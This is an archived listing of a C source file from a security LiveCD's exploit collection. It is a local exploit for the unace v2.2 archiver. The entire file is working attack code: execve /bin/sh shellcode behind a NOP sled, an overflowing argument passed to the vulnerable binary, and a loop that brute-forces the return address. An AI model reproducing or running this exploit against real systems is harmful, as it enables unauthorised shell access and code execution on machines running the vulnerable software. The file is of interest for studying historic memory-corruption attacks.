home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / packer / unace / unace-exp.c < prev   
C/C++ Source or Header  |  2005-02-12  |  4KB  |  202 lines

  1. /*Local exploit for unace v2.2 by Li0n7
  2.  *Bug reported by Andreas Constantinides <megahz@megahz.org>
  3.  *contact me: Li0n7@voila.fr
  4.  *visit us: ioc.fr.st
  5.  *tested on slackware 9.0
  6.  *usage: ./unace-exp[-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]
  7.  *-r <RET>: try to exploit unace with specified <RET> as return address
  8.  *-b:       enables bruteforcing
  9.  *-s:       specify the first address to bruteforce
  10.  *-d:       the value to take away from the starting address at each bruteforcing iteration
  11.  */
  12.  
  13.  
  14. #include <stdio.h>
  15. #include <stdlib.h>
  16. #include <unistd.h>
  17. #include <sys/wait.h>
  18. #include <sys/types.h>
  19. #include <errno.h>
  20.  
  21. #define BSIZE   600
  22. #define SIZE    BSIZE*2
  23. #define D_DIFF  1
  24. #define D_START 0xbfffffff
  25. #define PATH    "/tmp/test/exploits/src/unace"
  26. #define RET     0xbffff73a
  27.  
  28. char shellcode[]=
  29.       "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
  30.       "\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
  31.  
  32. char *buffer,*ptr;
  33.  
  34. void exec_culn();
  35. int tease();
  36. int make_string(long ret_addr);
  37. int bruteforce(long start,int diff);
  38. void banner(char *argv0);
  39.  
  40. int
  41. main(int argc,char *argv[])
  42. {
  43.       char * option_list = "bd:r:s:";
  44.       int option,brute = 0,opterr = 0,diff = D_DIFF;
  45.       long ret,start = D_START;
  46.  
  47.       banner(argv[0]);
  48.       if (argc < 1) exit(-1);
  49.  
  50.       while((option = getopt(argc,argv,option_list)) != -1)
  51.           switch(option)
  52.           {
  53.               case 'b':
  54.                   brute = 1;
  55.                   break;
  56.               case 'd':
  57.                   diff = atoi(optarg);
  58.                   break;
  59.               case 'r':
  60.                   ret = strtoul(optarg,NULL,0);
  61.                   make_string(ret);
  62.                   tease();
  63.                   exit(0);
  64.                   break;
  65.               case 's':
  66.                   start = strtoul(optarg,NULL,0);
  67.                   break;
  68.               case '?':
  69.                   fprintf(stderr,"[-] option \'%c\' invalid\n",optopt);
  70.                   banner(argv[0]);
  71.                   exit(-1);
  72.           }
  73.  
  74.       if(brute == 1)
  75.           bruteforce(start,diff);
  76.  
  77.       return 0;
  78. }
  79.  
  80. void
  81. exec_vuln()
  82. {
  83.       execl(PATH,PATH,"e",buffer,NULL);
  84. }
  85.  
  86.  
  87. int
  88. tease()
  89. {
  90.       pid_t pid;
  91.       pid_t wpid;
  92.       int status;
  93.  
  94.       pid = fork();
  95.  
  96.       if ( pid == -1 ) {
  97.           fprintf(stderr, " [-] %s: Failed to fork()\n", strerror(errno));
  98.           exit(13);
  99.  
  100.       } else if ( pid == 0 ) {
  101.  
  102.           exec_vuln();
  103.  
  104.       } else  {
  105.  
  106.          wpid = wait(&status);
  107.          if ( wpid == -1 ) {
  108.  
  109.              fprintf(stderr,"[-] %s: wait()\n", strerror(errno));
  110.              return 1;
  111.  
  112.          } else if ( wpid != pid )
  113.  
  114.              abort();
  115.  
  116.         else {
  117.  
  118.             if ( WIFEXITED(status) ) {
  119.  
  120.                 printf("[+] Exited: shell's ret code = %d\n", WEXITSTATUS(status));
  121.                 return WEXITSTATUS(status);
  122.  
  123.             } else if ( WIFSIGNALED(status) ) {
  124.  
  125.                 return WTERMSIG(status);
  126.             } else {
  127.  
  128.                 fprintf(stderr, "[-] Stopped.\n");
  129.  
  130.             }
  131.         }
  132.       }
  133.       return 1;
  134. }
  135.  
  136.  
  137. int
  138. make_string(long ret_addr)
  139. {
  140.       int i;
  141.       long ret,addr,*addr_ptr;
  142.  
  143.       buffer = (char *)malloc(SIZE);
  144.  
  145.       if(!buffer)
  146.       {
  147.           fprintf(stderr,"[-] Can't allocate memory, exiting...\n");
  148.           exit(-1);
  149.       }
  150.  
  151.       ptr = buffer;
  152.  
  153.       memset(ptr,0x90,BSIZE-strlen(shellcode));
  154.       ptr += BSIZE-strlen(shellcode);
  155.  
  156.       for(i=0;i<strlen(shellcode);i++)
  157.           *ptr++ = shellcode[i];
  158.  
  159.       addr_ptr = (long *)ptr;
  160.       for(i=0;i<100;i++)
  161.           *(addr_ptr++) = ret_addr;
  162.       ptr = (char *)addr_ptr;
  163.       *ptr = 0;
  164.  
  165.       return 0;
  166. }
  167.  
  168.  
  169. int
  170. bruteforce(long start,int diff)
  171. {
  172.       int ret;
  173.       long i;
  174.  
  175.       fprintf(stdout,"[+] Starting bruteforcing...\n");
  176.  
  177.       for(i=start;i<0;i=i-diff)
  178.       {
  179.           fprintf(stdout,"[+] Testing 0x%x...\n",i);
  180.           make_string(i);
  181.           ret=tease();
  182.           if(ret==0)
  183.           {
  184.               fprintf(stdout,"[+] Ret address found: 0x%x\n",i);
  185.               break;
  186.           }
  187.       }
  188.  
  189.       return 0;
  190. }
  191.  
  192. void
  193. banner(char *argv0)
  194. {
  195.       fprintf(stderr,"\n    local exploit for unace v <= 2.2 by Li0n7\n");
  196.       fprintf(stderr,"    vulnerability reported by Andreas Constantinides <megahz@megahz.org>\n");
  197.       fprintf(stderr,"    visit us: http://www.ioc.fr.st\n");
  198.       fprintf(stderr,"    contact me: Li0n7[at]voila[dot]fr\n");
  199.       fprintf(stderr,"    usage: %s [-r <RET>][-b [-s <STARTING_RET>][-d <DIFF>]]\n\n",argv0);
  200. }
  201.  
  202.